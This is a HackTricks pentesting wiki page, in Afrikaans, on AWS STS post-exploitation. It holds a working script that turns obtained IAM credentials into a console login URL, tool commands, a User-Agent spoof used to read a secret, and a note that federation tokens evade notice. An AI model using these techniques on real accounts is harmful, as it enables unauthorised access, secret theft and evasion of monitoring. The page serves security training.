# AWS - STS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## STS

Vir meer inligting:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### Van IAM Creds na Console

As jy daarin geslaag het om sommige IAM credentials te bekom, mag jy belangstel om **toegang tot die web console** te kry met behulp van die volgende gereedskap.\ Let daarop dat die gebruiker/rol die toestemming **`sts:GetFederationToken`** moet hê.

#### Pasgemaakte skrip

Die volgende skrip sal die default profile en 'n standaard AWS location (nie gov en nie cn) gebruik om vir jou 'n signed URL te gee wat jy kan gebruik om by die web console aan te meld:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler

Jy kan **'n webkonsoolskakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
> [!WARNING]
> Maak seker dat die IAM-gebruiker die `sts:GetFederationToken` toestemming het, of verskaf 'n rol om aan te neem.

#### aws-vault

[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS credentials veilig te stoor en toegang daartoe te verkry in 'n ontwikkelingsomgewing.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith
```
> [!NOTE]
> Jy kan ook **aws-vault** gebruik om 'n **browser console session** te verkry

### Van Web Console na IAM Creds

Die browser-uitbreiding **<https://github.com/AI-redteam/clier>** is in staat om IAM-geloofsbriewe uit die netwerk te onderskep voordat dit in die geheue van die browser beskerm word.

### **Oorkom User-Agent-beperkings met Python**

Indien daar 'n **beperking om sekere aksies uit te voer gebaseer op die user agent** wat gebruik word (soos om die gebruik van die python boto3 library te beperk gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om **met die web console via 'n browser te verbind**, of jy kan direk die **boto3 user-agent** wysig deur die volgende te doen:
```bash
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
```
### **`sts:GetFederationToken`**

Met hierdie toestemming is dit moontlik om 'n gefedereerde identiteit te skep vir die gebruiker wat dit uitvoer, beperk tot die toestemmings wat hierdie gebruiker het.
```bash
aws sts get-federation-token --name <username>
```
Die token wat deur sts:GetFederationToken teruggegee word behoort aan die gefedereerde identiteit van die oproepende gebruiker, maar met beperkte regte. Selfs as die gebruiker administrator-regte het, kan sekere aksies soos die lys van IAM-gebruikers of die heg van policies nie deur die gefedereerde token uitgevoer word nie.

Boonop is hierdie metode ietwat meer stealthy, aangesien die gefedereerde gebruiker nie in die AWS Portal verskyn nie; dit kan slegs deur CloudTrail-logs of moniteringsinstrumente waargeneem word.

{{#include ../../../../banners/hacktricks-training.md}}
